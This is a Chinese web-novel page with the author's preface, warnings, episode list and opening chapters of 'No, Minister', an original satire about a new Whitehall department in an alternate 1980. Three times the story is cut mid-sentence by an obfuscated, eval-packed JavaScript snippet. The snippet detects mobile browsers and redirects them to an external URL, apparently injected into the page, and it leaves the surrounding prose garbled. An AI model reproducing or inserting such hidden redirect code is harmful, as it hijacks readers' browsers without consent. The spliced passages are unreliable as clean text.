《不，大臣（No, Minister）》 1. 写在开始之前 一句话简介：白厅三人组合谋把荒诞变成秩序——偶尔也把秩序变成荒诞。 完整简介（？）： 协同协调部，一个没有预算、没有实权，旨在流放麻烦人物的“镀金笼子”。 查尔斯·海德（Charles Hyde），一只政治光谱上活跃的狐狸，怀揣着改造白厅沉疴理想的大臣；阿利斯泰·卡文迪许（Alistair Cavendish），一本行走的文官守则，奉命看管“笼中困兽”的常任秘书；西里尔·埃斯利（Cyril Astley），一位谨慎周密观察者，暗自分析记录着白厅变迁的首席私人秘书。一个奇怪的三角关系就此形成。 他们收集被忽视的情报，将其铸为货币与权力；他们设计精巧的程序，将其变为武器与牢笼。他们将无数次政治灾难化解于无形，却也一次次逼近道德与本心的边缘。查尔斯的理想主义在现实中反复受挫又蜕变，阿利斯泰的理性面具下偶尔闪现一丝人性，西里尔在忠诚与良知间艰难平衡。 从精致的花瓶，到国家危机的救火队，再到幕后操控宪法改革的游戏规则制定者。DSC在三人组的共同运作下，悄然编织出一张覆盖整个大不列颠的信息与权力之网。 当权力巅峰来临，三人必须做出选择：是继续驾驭这头“利维坦”，还是亲手为它设计一个笼子？ 当政治家的冲动遇上技术官僚的精密算计，当理想主义者被迫沾染权谋的尘埃，当无用成为最强大的武器。他们能否在权力的漩涡中，既达成理想，又守住本心？ “我们是在拯救这个国家，还是在为它构建一个更精致的牢笼？” “有区别吗，大臣？” ——欢迎走进1980的白厅丛林，在这里，荒诞是秩序的面具，程序是权力的武器。 【阅读说明/避雷指南】 写在前面，给所有有缘点开的朋友： 大家好，这里是已经叠满了免责声明（disclaimer）的作者。在您决定是否要与查尔斯、阿利斯泰和西里尔这三位纸上朋友共度一段时光前，请允许我真诚地为您展示这趟旅程可能遇到的所有“路障”和“减速带”（如有发现新雷，欢迎留言补充，我会来加上）： 1、这是什么（and isn’t） A）我想，看到小说名各位应该能猜出这是一篇与《是，大臣/首相》有点关系的小说，但是其实并不多。这算是一篇借鉴了Y（P）M框架（或者说借鉴了现实白厅框架）下的，全新的背景（不确定）+全新的人物和故事的伪英政小说。 B）这是一篇因重温《是，大臣/首相》上头，试图写同人未果（实力不足，ooc到没眼看遂放弃），于是另起炉灶自嗨的气氛组练笔之作。 如果您是同好，欢迎一起玩梗（虽然不知道有没有玩起来），或许您能在这里看到熟悉的味道会心一笑（Very courageous, Minister.），如果您没看过，也完全不影响阅读，因为这是一个全新的故事，期待与您结缘。 C）一篇不确定算不算原创的文，未免出错就放衍生了，至少算衍生肯定是没错的，白厅衍生也是衍生（？）。 2、不保证专业，只保证瞎编（No,Minister.） A）英政知识储备≈《是，大臣/首相》+《幕后危机（灵通也看了）》+《纸牌屋（没看完，英美都没看完）》+一些BBC纪录片和上下议院会议视频+几本传记/自传+少量资料。 B）文中所有政治事件、议程、法案、部门运作方式均为架空虚构，公文格式和处理方案更是我一拍脑袋的产物，请勿当真，不要较真，切勿考据。如与现实雷同之处（应该不至于撞上吧？），纯属巧合，绝无映射。 3、理智预警（低配权谋劝退ing） A）因作者智商不高，阅历有限，政治素养不及格。不保证能写出多么高明的政治博弈，逻辑漏洞难免，深度有限。 B）如果期待看到惊心动魄、智计百出的硬核权谋，这里可能没有。您看到的更可能是……一群穿着高级西装的成年人（可能不像），用非常优雅的方式（不一定优雅），把政治对局玩成过家家。 4、语言与排版预警（眼睛不友好型劝退ing） A）中英夹杂（严重）：为了营造（自以为的）白厅氛围，文中会出现大量英文单词、短语甚至短句，我尽力不影响理解（真的吗？），如果您对此感到不适，请及时关闭。 B）文章中可能经常出现大段大段的文字，幕间部分文档体偏多（日记/备忘录/会议纪要），对手机阅读和速读爱好者可能不太友好（毕竟本人回过头看也觉得难受）。 5、英语不及格（以及政治/历史/地理等均不及格）警告 A）英语水平大约停留在对“I’m fine, thank you, and you?”有亲切感的程度。文中的英文使用全靠临时查词典、翻译软件和语感蒙蔽，语法错误、用词不当、搭配诡异是常态，欢迎捉虫（如果看完没心梗的话）。 6、为什么要发 A）之所以这篇练笔会出现在此地，是因为本人发现如果不发出来，我会不断地不断地不断地……反反复复修改已经写出的部分（已经重写了6个版本，废稿近20w字），导致练笔进行不下去。为了不集齐七龙珠【齐了orz】，决定先发布出来，强迫自己先写完，最后再修改（我知道大概还是会改orz）。 7、更新频率与阅读姿势 A）更新计划：上4休2（更新四天歇两天），逢7安息（遇到周天固定休息，顶掉4/2的位置）；若出意外，当我没说。【因为拆分阅读不友好，可能改成一次发齐一集的章数，然后按章数算下一次更新的时间。】 B）写作结构：剧集化（S0xE0x），单集1–2w，发布时拆成3–4k片段，章节分割可能略诡异。建议“一集更完再看”，体验更完整。 C）写作进度：目前第一卷（注：不是目录的分卷，那个是方便切集用的，第一卷指的是S01+对应特辑）部分已写完，边修边更。全篇总字数未定；大纲里有3个可作为结局的节点，如无人问津+练笔达标，可能在任一节点收束。 8、建议关闭段评食用 A）本人可能会在段评自言自语记东西（主要是卡文修文用），可能看着有点神经，影响阅读。 B）本人很喜欢修文，会导致段评错位，会很奇怪。 总之，这就是个对英政一知半解、英语稀烂、智商平平的咸鱼作者，用优雅（自认为）文风，在架空的1980年英国白厅，幻想三人组搞点权谋、斗点心眼，顺便疯狂吐槽官僚主义的非典型文官和非典型大臣的非典型白厅大三角故事，设定和情节都是空中楼阁，图一乐（或一叹）。正文风格大概就和这篇排雷一样混乱（可能更乱）。 如果以上内容没有把您劝退，那么，欢迎来到1980年的（架空）白厅。希望我们能一起，见证协同协调部从“看起来在运转”，到“真的开始运转”的荒诞又迷人的航程。如果不喜欢，山水有相逢，我们有缘再见。 祝阅读愉快——不愉快也正常，毕竟是白厅故事。 让我们开始架空历史—— 【目录】带√=已写（但可能重修） S01E00： 《同义反复》（Tautological）√ 【特辑一】《圣诞义务》（Yuletide Obligation）√ S01E01： 《信息币》（Information as Currency）√ S01E02： 《忧郁的鳕鱼》（The Melancholy Cod）√ 【特辑二】《直播事故》（The Newsnight Incident）√ S01E03： 《社区中心保卫战》（Themunity Centre Defence）√ S01E04： 《汉萨德的幽灵》（The Ghost in Hansard）√ S01E05： 《南大西洋的回响》（The South Atlantic Echo）√ S02E01： 《当COBRA卡壳时》（When COBRA Stutters） S02E02： 《幽灵舰队征用令》（The Ghost Fleet Requisition） S02E03： 《两种真相，一场战争》（Two Truths, One War） 【特辑三】：《牛津的叛徒与俱乐部壁炉》（The Oxford Renegade and the Club Hearth）√ S02E04： 《不信任的几率》（The Probability of No Confidence） S02E05： 《黄昏的请柬》（An Invitation at Dusk） S03E01： 《默西塞德框架》（The Merseysidepact） S03E02： 《认证或不认证》（To Certify or Not to Certify） 【特辑四】：《缺席的勋爵》（The Absent Lord）√ S03E03： 《G7峰会的幕后导演》（The Director Behind the Summit） S03E04： 《利物浦账本》（The Liverpool Ledger） 【特辑五】：《协同的圣诞灯》（The Synergistic Christmas Lights） S03E05： 《两种真相（续）| 鸽与隼》（Two Truths, Part Two | The Dove and the Hawk） S04E01： 《红水泄漏》（The Redwater Leak） S04E02： 《利维坦听证会》（The Leviathan Hearing） 【特辑六】：《单身主义者的法案》（The Bachelor''s Bill） S04E03： 《笼子的设计》（Designing the Cage） S04E04： 《两种选举，一个未来》（Two Elections, One Future） S04E05： 《告别，大臣》（No, Minister | Yes, Prime Minister） √ 后面砍。 【幕后】S00E00 窑变（Kiln-Fired） 1979年5月的大选结果，毫无意外地又是一个悬浮议会。 或许用“毫无意外（predictable）”稍显武断，更贴切的表述是“算不上意外（not entirely unexpected）”。 说它“算不上意外”，是因为工党在经历了那个被民众“亲切”——或者说，咬牙切齿——称为“不满之冬”的罢工季节后，席位缩水实属意料之中；稍显意外的是，这萎缩程度竟还算得上体面。但无论如何，工党勉强保住的301个席次终究未能过半，1974年那令人牙酸的政治僵局便又重演了一回。 历史以其特有的、略带嘲讽的笔触再次书写：保守党领袖又一次未能说服女王陛下，在议席不及工党的情形下由其组阁；工党遂再度组建了一个摇摇欲坠的少数派政府。 只是这一次，它的寿命比预想的还要短促得多。 它甚至未能撑过当年的圣诞节，便不得不在寒风凛冽的十二月再次叩响选民的大门。 选择在这个时节寻求民意裁决，其政治智慧之精妙，着实令人费解。不难想见，在投票站前排队的、瑟瑟发抖的选民们，心中该是何等“感激涕零”。 结果？ 结果自然是符合逻辑的。 工党的支持率进一步滑落。 1980年1月，尘埃落定。 保守党斩获306席，工党则退守至285席。不列颠自二战硝烟散去后，第三次迎来了那熟悉的悬浮议会景象。显然，前车之鉴犹在眼前，新晋保守党党魁戴维·诺斯科特当机立断，决意与本次选举中异军突起、意外攫取27席的自由党携手。 1月18日，星期五，雾气尚未散尽，寒意依旧刺骨。 经过一番颇具效率的谈判——一种更多源于必要而非热忱的效率（An efficiency that spoke more of necessity than zeal.），或者说，别无选择（Or rather, no choice.）。保守党领袖戴维·亨利·诺斯科特阁下（The Right Honourable David Henry Northcote MP）与自由党领袖理查德·休·特里维廉阁下（The Right Honourable Richard Hugh Trevelyan MP）签署了一份联合执政协议。 一个保守党与自由党共治的内阁，就此诞生。 —— —— —— 联合政府的内阁名单，无异于一场精密的配平游戏。 核心的红盒子必须牢牢握在保守党手中，主要以温和派为主，但还需要平衡党内改革派，同时自由党也需要安抚拉拢，尤其那位自由党的新星——查尔斯·海德。 四十一岁，精力旺盛，思维跳脱，在自由党内声望日隆，对保守党温和派也有几分说不清道不明的吸引力。 他需要一个合适位置，不能太重要，以免威胁保守党根基；不能太寒酸，以免激怒自由党盟友；最好，还能看起来足够光鲜。 于是，一个新的内阁部门，应运而生： 协同协调部（Department of Synergy Coordination）。 在英国政府这台精密而陈旧的机器中，DSC的诞生起初被所有文官视作是首相诺斯科特献给自由党的一尊精致的政治花瓶。 但尽管如此（But, nevertheless）——或者说，正因如此（Or rather, therefore）——它才更需要被装配（fitting out）上一个内阁部门应有的全套配置。 而一位得力的常任秘书正是每个部门的标配（standard fitting）。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294761|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 异常迅速的，一个异常年轻的名字自内阁办公厅秘书处提名，递到了首相案前。 —— —— —— 唐宁街10号。 房间笼罩在冬日的暮色中，唯一的光源是桌上那盏沉重的绿罩台灯，在堆积如山的红色文件盒上投下昏黄的光晕。 诺斯科特首相的指尖轻叩着面前一份单薄的档案，纸张边缘在灯下几乎透明。 阿利斯泰·卡文迪许勋爵（Lord Alistair Cavendish），现能源部副常任秘书。 履历堪称无懈可击的典范，虽然仅积累了16年的文官经验，但他在各个核心部门以及内阁办公厅都轮岗过，担任过诸多要职，还曾被抽调至唐宁街10号效力。所有考核报告上的评价清一色标注着“卓越”（Exceptional），在文官等级的阶梯上晋升得异常迅捷，令人侧目。 只是…… 他蹙眉道：“年轻，艾伯特，太年轻了。”首相的声音里混合着疲惫和对潜在政治风险的审慎，“三十八岁的常任秘书？白厅恐怕还没来得及习惯这个节奏。” 联合政府如履薄冰，任何任命都牵动脆弱的平衡。 内阁秘书艾伯特·萨克维尔爵士（Sir Albert Sackville）端坐在一旁，银白的鬓角在灯下泛着微光。 他微微前倾，声调平稳：“年轻的部门，年轻的人事，恰成一种和谐（symmetry），首相。” “况且……”艾伯特停顿了一下，指尖精准点落在评估栏，灰蓝色的眸子抬起，“卡文迪许在评估研判、统筹规划与高效执行方面经验丰厚，尤其精于……协调斡旋。这个协同协调部，需要的正是这样一位能搭建框架，确保它至少……看起来在运转（ensure it appears to function）的掌舵人。” 首相的目光扫过“卡文迪许”这个姓氏，以及后面那个轻描淡写的“勋爵（Lord）”头衔。贵族背景在白厅文官体系里是双刃剑，既带来无形的资源，也容易招致无形的壁垒。 “背景呢？会不会……” “一把银汤匙……”艾伯特爵士的目光没有离开档案，语气依旧波澜不惊，“唯有不断用金履历去擦拭其光泽，方能避免其刺眼（A silver spoon must be perpetually burnished by golden reports lest it cast an unwee glare.）。阿利斯泰·卡文迪许深谙此道，他的晋升，每一步都踩在功绩（merit）的基石上，而非家世的浮沙。” 他拿起钢笔，在提名文件上轻轻一点，“为稳妥起见，或许可以在常任秘书的任命前，加上‘代理 (acting)’一词？并以六个月为评估期，书面回报。” 艾伯特爵士不动声色的为这位前途无量的年轻人预留了一条体面的缓冲带，同时也是退路。这既是保护（protection），亦是试炼（probation）。 窗外白厅街路灯的光晕在厚重帘隙间明灭。 首相沉吟片刻，目光似乎穿透了幕布后的夜色，最终拿起笔，在文件末端签下名字。 墨水在纸上洇开一个微小的圆点。 阿利斯泰的档案，连同他本人的政治命运，就此被投进了煅烧着“协同部”这尊精致花瓶的窑炉。 “那就……让他试试吧，艾伯特。希望这尊‘花瓶’，至少能插上几朵……不至于太扎手的花。” —— —— —— 一间冷调的现代主义风格起居室。 线条简洁，唯一的色彩来自壁炉旁一架子精装的古典文献和墙上几幅抽象版画。 阿利斯泰穿着墨绿色的丝绒睡袍，站在窗前，望着泰晤士河对岸灯火朦胧的南岸。他刚结束一个与布鲁塞尔的加密通话，讨论北海油田开采配额的技术细节，眉宇间带着一丝疲惫。 电话铃声划破寂静。 是内阁办公厅的直线。 “卡文迪许勋爵。”对方的声音公事公办，“萨克维尔爵士指示，您已被临时借调至内阁办公厅，即刻生效。牵头负责新设部门协同协调部的框架搭建与初期运作，任命您为筹备组长（Establishment Project Director）。相关简报已通过安全渠道送达。” 电话挂断。 阿利斯泰没有立刻动作，窗玻璃映出他平静的脸。 新部门的筹备组长……在白厅心照不宣的阶梯上，这通常是通往该部门常任秘书宝座的前厅（antechamber）。 协同协调部。 一个职责模糊的花瓶？ 一个镀金的牢笼？ 还是一个……可供塑造的空白画布？ 他走回书桌坐下，拿起钢笔，无名指上深邃的绿宝石戒指在灯光下闪过一丝内敛的幽光。 笔尖在备忘录上落下日期——18 January 1980. 接着流畅地划出字母： “Appointed EPD for the new Dept. of Synergy Coordination. （被任命为新成立的协同协调部筹备组长。） “Remit: Establish framework and oversee initial operations. （职责：建立框架并监督初期运营。） “A sop to the coalition? A placement for Hyde? A potential gilded cage? （联合政府的安抚手段？海德的安置之所？潜在的镀金牢笼？）” 初始职能空泛，预算受限，易被边缘化。但空泛的同时意味着它的定义可塑性强，信息枢纽潜力巨大，边缘性提供操作空间。抓住机遇的关键在于建立初始信誉与信息网络…… 笔尖停顿了一息，又继续向下： “Priority: Establish operational credibility. Build information nexus. Survive the initial phase of political irrelevance...（优先事项：建立行动可信度。构建信息网络。在政治边缘化的初期阶段生存下来……）” 漂亮的花体字逐渐填满两页纸，终于收尾： “The kiln is fired. The vessel''s form is yet clay. Opportunity resides in perceived uselessness.（窑炉已燃，器皿之形尚未定，机遇藏于无用之名。）” 结尾的句点墨迹稍深。 阿利斯泰抬起右手，伸向一旁的电话—— 他需要谨慎考量，首先是借调的文官人选…… 伦敦沉沉的夜色中，白厅的齿轮又悄然咬合了一环，带着崭新的、未知的滞涩与可能。 窑火，静静燃烧。 2. 狐狸查理和维克托 【序幕】S01E00 《同义反复》（Tautological） 1980年1月18日，星期五。 雾，一层一层地从泰晤士河面爬上白厅街，在古老建筑的石墙与檐口之间翻卷，无声地包裹了整座政府区。 1979年那个被称作“不满之冬”的凛冽记忆尚未完全消散，1980年伊始的第三次悬浮议会，又给这座权力中枢蒙上了一层新的、疲惫的阴霾。保守党306席，工党285席。自由党异军突起的27席，成了天平上那枚微妙的砝码。 保守党戴维·诺斯科特与自由党理查德·特里维廉在唐宁街十号签署联合协议的照片，占据了次日《泰晤士报》头版下方不大不小的位置，标题透着谨慎的乐观。 必要，而非热忱。（Necessity, not zeal.） 评论人把这一切概括为一句冷冰冰的格言，仿佛白厅那台精密而陈旧的机器只在被逼无奈时才会动一下齿轮。 查尔斯·海德（Charles Hyde）没看报纸。 他正对着一部老旧的黑色转盘电话踱步，螺旋电话线在脚下缠成了焦虑的几何图形。 他知道自己会在这次权力洗牌中获得一个席位。 问题是，哪一个？ 这悬念像一根鱼刺，卡在查尔斯政治抱负的喉咙里，不上不下。 短暂的纠结后，他拨通了去年圣诞夜聚会上结识的友人维克托（Victor）的电话。 虽然相识的时间不长，但他们之间棋逢对手的几次智力交锋，让查尔斯觉得两人已足够捻熟，可以分享一点无伤大雅的抱怨。 “维克（Vic）。”他刻意让自己的语调听起来轻松，“你说理查德那家伙会把我塞到哪个角落去积灰？” “查理（Charlie）？”电话线另一端的声音，透着一种被强行拽离宁静的疲惫，“容我提醒你（I feelpelled to remind you.），决定你职务的人是首相，而不是副首相。”但他还是温和而精确的纠正道。 “哦，省省你那套繁文缛节吧，维克托（Oh, spare me the protocol, Victor.）。我知道决定我职务的人是PM，授予我职务的人是女王。”查尔斯让步得毫无诚意，他从旁边拖了张椅子，又把黑色转盘电话往身前拉了一寸，“这次别扯远，来帮我分析分析，用你的‘观察者（Observer）’视角。你觉得理查德会替我从PM那儿‘争取（wangle）’到什么？他总得给我弄点像样的（decent），对吧？总不能让我这老狐狸去管文件归档？” “查理。”对面的人似乎是叹了口气，“你已经四十一岁了，我想年岁赋予人的……不该仅仅是身体上的成熟。” 而查尔斯置若罔闻，自顾自地推演，思绪继续沿着自己的轨道狂奔：“先让我们试试排除法。首先，财政、内政、外交、国防——这些核心的红盒子，保守党绝不可能放到我们手上，想都别想，门都没有。（Out of the question. Not a hope. Door firmly shut.）” “‘我们’？”对面敏锐地捕捉到了这个代词。 “请允许我纠正。（If I may offer a correction.）”他的声音透着对查尔斯一贯的无奈和刻意的疏离，“我并非自由党员，我不站任何党派（I take no whip.），我持中立观点（I take the crossbench view.）。”他顿了顿，语气加重了一分，如同放下一个无形的句号：“而且……某些想法（sentiments），最好停留在合适的位置。（Best kept under one''s hat.）” “看在上帝的份上（For God''s sake.），维克！这只是通私人电话，MI5可没那闲工夫监听两个老家伙闲扯（bugging two codgers in mid-prattle）。”查尔斯不以为然地挥了挥手，尽管对方看不见。 话筒里传来一阵意味深长的沉默（a pause heavy with unspoken caution）。 “我想……”这话带着某种近乎宿命的预言感，低沉而清晰：“你未来的常任秘书会不厌其烦、不遗余力地向你灌输谨言慎行的艺术（The art of discretion），那将成为你的……入职必修课（It will be quite the... induction.），一场漫长而必要的……熏陶。（A protracted and necessary... immersion.）” “那真是令人期待的入门课……所以还剩下什么？”查尔斯扯回话题，继续着他的独角戏。 “教育大臣？可能性微乎其微（Not a cat in hell''s chance.）。能源或者工业部？眼下怕是烫手山芋（rather hot potatoes）。苏格兰或者威尔士事务大臣的位置？或许会象征性地划给（tossed to）自由党，但总不至于打发我去管那些吧？至少别是北爱尔兰。我的天（My God.）！”他的声音陡然拔高，“总不能是农业、渔业及食品部吧？难道要我去安抚愤怒的农夫，或者和忧郁的鳕鱼谈判？虽然现在鳕鱼或许更倾向找国防或者外交大臣诉苦（lobby）。” 一声带着克制的疲惫的轻叹。 “查尔斯。”那人的声音透着一种被耗尽后的奇异平静，“你打电话给我，该不会就为了找个会喘气的树洞（sounding board），听你复述内阁大臣名录吧？” 电话线两端陷入沉默，话筒里只剩下电流的滋滋声。 “Good Lord…”他的声音少见的带上了难以置信，“你真是为了这个才打给我？在星期六的……这个时辰？” “For pity''s sake.”近乎恳求的语气，或者说，是一种极度克制的命令，“放过我吧，也放下你的话筒，给10号的电话预留一条干净的线路（Spare me—and spare No.10 the busy line.）。我想你也不希望首相第一次传唤他的新大臣时，就遇上占线的忙音吧？那会是个……令人遗憾的开端（an inauspicious beginning）。” “他可以稍后再拨，或者等我打回去。”察觉到另一头再度沉默，查尔斯连忙找补：“这只是个玩笑。” “我装了两部分机电话。”他接着补充，仿佛这个小小的技术便利能奇迹般的化解所有难题。 “查理。”对方把他的名字唤得像一声更深的叹息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294762|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我想你马上就会得到通知了。” 话音刚落，一阵电话铃声尖锐地响起。 查尔斯说了声“稍等”，将话筒搁在桌面，抄起另一部电话的听筒：“这里是查尔斯·海德……是的，首相（Yes, Prime Minister.)……当然，深感荣幸（Naturally, deeply honoured.）……乐意为您效劳（At your service.）……好的，我明白了（Right, Understood.)。” 电话挂断。 查尔斯挂断电话，他在原地愣了片刻，才将话筒放回座机，又拿起连着维克托的那部：“维克，你的政治嗅觉简直神乎其神（uncanny），时间掐得分秒不差。虽然我不知道你在哪高就——但我真该劝你来竞选议员，你准是个一流的大臣。（You’d be a first-class Minister.）” “那但愿别发生。（Perish the thought.）”电话那头的声音带着些难以捉摸的玩味，仿佛在品味一个有趣的悖论，“‘狐狸查理（Charlie Foxy）’才更合适下议院那片……丛林（the Greenwood of Westminster）。我的位置……在别处（My place lies… elsewhere.）。看起来，你的去处不在你演练的名录上？至少不是‘鳕鱼部’的‘鳕鱼大臣’（Cod Minister）。” “一个……闻所未闻的部门。”查尔斯的声音有些飘忽。 “首相设立了一个新的内阁部门安置你。”对面用的是陈述句，而非疑问句，语气笃定得如同宣读一份早已拟好、只待签发的文件。 “首相设立了一个新的内阁部门安置我……”查尔斯还有些愣神，先是重复，突然反应过来，“等等，你怎么知道是新部门？” “那么——”对面直接忽略了问题，声音平稳无波，听不出任何情绪：“它的名目？” “协同协调部（Department of Synergy Coordination）。”查尔斯回答，这回轮到他叹气了，“古怪透顶的名字，协同（synergy）？协调（coordination）？令人费解的同义反复（a tautological monstrosity）。” “往好处想，我至少暂时应该不用赶火车去加的夫或者爱丁堡了。”他带着点自嘲的意味，“在收到我新部门办公室装修好的通知之前，我应该能在家蹲到腿麻（kick my heels here until they go numb）。” “查理——不，海德大臣。不会耽搁太久的。（Charlie— No, Minister Hyde. It won''t take long.）”那人意味深长地顿了顿，称谓的转换带着些不易察觉的正式与距离感，“你的……常任秘书会以他特有的高效料理妥当。（Your… Permanent Secretary will see to it with characteristic efficiency.）” 他的声音里透着不容置疑的笃定：“对此，我毫不怀疑。（Of that, I have no doubt.）” 线路干净地断了，暖气里的嗡鸣占据房间。 3. 大臣查尔斯和阿利斯泰 当天下午，查尔斯前往唐宁街10号面见首相，确认了协同协调部大臣的任命。 然后是第二周的星期一。 在清晨的寒气中，查尔斯跟随引礼官穿过白金汉宫镀金雕花却冰冷空旷的长廊。 女王陛下的召见简短而仪式化，他单膝触地，聆听那威严疏离的声音宣读任命，正式接下那份沉甸甸的、盖着皇家火漆印的任命状——协同协调部大臣（Secretary of State for Synergy Coordination），一个名字如同绕口令的职位。 紧接着是枢密院厅的宣誓，房间里庄严肃穆，空气凝滞得仿佛几个世纪未曾流动。 他与其他几位新晋大臣并肩站立，重复着古老的誓词，宣誓对内阁事务守口如瓶。 声音在穹顶下回荡，带着空洞的回响。 保密？ 关于什么？ 一个连他自己都不知道要做什么的部门？ 一丝荒谬感攫住了他，挥之不去。 查尔斯压低声音，想让这回声变得短些，好让这份不适也随之消散。 踏出枢密院，一长串的握手、拍照。 他好不容易维持着笑容，应付完来自舰队街的金鱼群。本以为冗长的仪式终于落幕，可以让他回家泡杯浓茶，把那一套套礼节甩在脑后，却又被引向一辆等候多时的黑色奥斯丁公务车。 象征性的驶过几栋建筑，停在了仍位于白厅街的一座并不起眼的大楼前，与威严的财政部或外交部大楼相比，这里显得有些……实用主义（utilitarian）。 一位看着三十岁左右，穿着炭灰色三件套的年轻人快步迎上前来。 年轻人金棕色的短发打理得一丝不苟，长度卡在耳垂以上，发线利落，顶区略长带些自然卷，刘海在弯腰开车门时自然垂落却不显凌乱。 “早上好，大臣。”他后退半步，为查尔斯让出空间，“或者中午好？”恰到好处的试探性幽默，打破了冷肃的气氛，蓝色的眼睛里闪烁着机敏和谨慎。 查尔斯敏锐地嗅出对方身上那股不同于普通文员的味道。 有趣（Interesting）。 他笑着伸出手：“中午好。” “西里尔·埃斯利（Cyril Astley），”年轻人利落地握手后自我介绍，“由我陪同您前往您的办公室。” “……里拉斯特利爵士（Sir Relahstlee）？” 查尔斯略带迟疑地复述。 Cyril词尾的齿龈边音与Astley词首的元音在连读中自然融合，听起来宛如一个不存在的尊称。 “西里尔（Cyril），埃斯利（Astley），大臣。”西里尔在侧前方引路，闻声微微偏过头，半侧身躯以示专注，动作流畅自然。 “除了受封的爵士（Sir）们，我们一般只管部门的最高事务官为‘sir’。”他稍作停顿，补充道：“叫我西里尔（C - yril）就好，大臣。” “您会在内阁办公厅提供的首席私人秘书（Principal Private Secretary）候选人名单上见到我，期待能为您服务，如果您愿意的话。（I look forward to serving you, should you wish it.）”西里尔的措辞透着一股自信，同时谦逊而留有余地。 “我相信我们会相处愉快的，西里尔。”查尔斯点头，直觉告诉查尔斯，这个年轻人会成为他在白厅迷宫中的可靠向导。 登上三楼，右转穿过略显昏暗的长廊。 接连推开两扇厚重的木门后，映入眼帘的是一间宽敞却异常空旷的办公室。 房间打扫的十分干净，只是内饰透着些仓促。 一张敦实的维多利亚风格橡木办公桌占据中央，上面孤零零地摆着一台老式黑色转盘电话、一个几乎空着的收文篮（In-tray）、一个空荡荡的发文篮（Out-tray）和几件基础文具。 角落里的访客沙发和扶手椅显得疏离，几座空置的文件柜倚墙而立。 墙壁光秃秃的，只挂着一张巨大的、有些年头的英国地图。 除了进来的门，房间另有两扇门，以及一扇俯瞰着白厅街的高窗。 “这里就是您未来办公的场所了，大臣。” 西里尔向他介绍，办公桌上的电话可以直通私人秘书处，收文篮里是秘书们给他的欢迎函和本周日程草案，接着又解释了办公室布置简陋的原因——由于不确定大臣的喜好，文官们只为这间办公室配备了基础陈设，至于具体的布局，等查尔斯确认之后，会在一到两天内完成调整。 “当然，如果您没有特别的要求，我们也可以按照白厅常规的布局安排。”他保持着专业的姿态。 查尔斯放下欢迎函，目光扫视，最终落在办公桌旁那片略显突兀的空地：“我没什么特殊要求。如果可以，在那里给我架一块大号的可擦写板（a large wipe-clean board），旁边留出些活动空间。我思考时有涂画的习惯，可能会在那块走动，其余部分就按常规安排吧。” “当然，大臣。（Yes, Minister.）”西里尔利落应下，“明天它便会就位。” “这两扇门通向什么地方？”新上任的大臣将好奇心转向了两扇门后的未知空间。 西里尔推开第一扇门：“这是办公室附属的里间，一般作为储藏室使用，可存放您的外套、文件或书籍。如果需要，也可以在这里准备些酒水、茶、咖啡，以及饼干、面包之类的小食。当您办公室有其他访客时，这里也可以作为一个更私密的谈话空间。当然，如果您有别的用途规划，这个里间也可以进行相应调整。” “而这边。”西里尔移步到第二扇门前，没有推开，“这边……连接着您的常任秘书的办公室。他目前……暂时不在。不过，如果您需要，也可以进去看看。” “午餐时间？”查尔斯带着一丝调侃问，他那位据说“高效”的常任秘书是去享用漫长的白厅午餐了么？ “不，大臣。（No, Minister.）”西里尔略微调整了一下站姿，“我想……Sir……阿利斯泰……他应该是去领取常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294763|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任秘书的正式任命函了。” “是先生（sir）？还是阿利斯泰爵士（Sir Alistair）？” “是sir，大臣，不过您不需要这么称呼他。”他踮了踮脚尖，一个不易察觉的小动作。西里尔斟酌着用词：“Sir还没获得爵士头衔，呃……严格来说，您倒是可以称他为勋爵（Lord）……只是Sir本人并不……偏好这个称呼。” “Lord？”查尔斯挑眉。 “Yes, Minister. Sir…阿利斯泰·卡文迪许勋爵（Lord Alistair Cavendish），您未来的常任秘书（Permanent Secretary）。” “No, Minister. 是代理常任秘书（Acting Permanent Secretary）。” 一个平静低沉的声音从身后传来。 走廊入口的门被轻轻推开，一位铂金色头发的青年拿着薄薄的文件走进来。 “维克托（Victor）？”查尔斯的声音卡住了。 “……胜利者（Victor）？”西里尔下意识的复述，困惑的目光在查尔斯震惊的脸和青年平静的面容之间快速游移。 来人微微一笑，顺手带上身后的门。 “中午好，大臣。中午好，西里尔。” 剪裁得体的炭灰色人字纹单排扣三件套，内搭冷调的纯白衬衫。 一条墨绿的纯色哑光真丝领带，打着完美的半温莎结，胸前的口袋巾，是比领带色泽稍亮些的墨绿丝质，只矜持地露出一角，却正好与此刻他拿着文件的左手无名指上，那枚镶嵌着深邃绿宝石的戒指形成了无声的呼应。 铂金色短发梳成侧分，发尾在耳际与领口之间收得干净利落，衬托出精致的、古典雕塑般的面部轮廓。眉骨投下的阴影让灰绿的眼眸更显幽邃，带着一种沉静的、近乎非人的专注力。 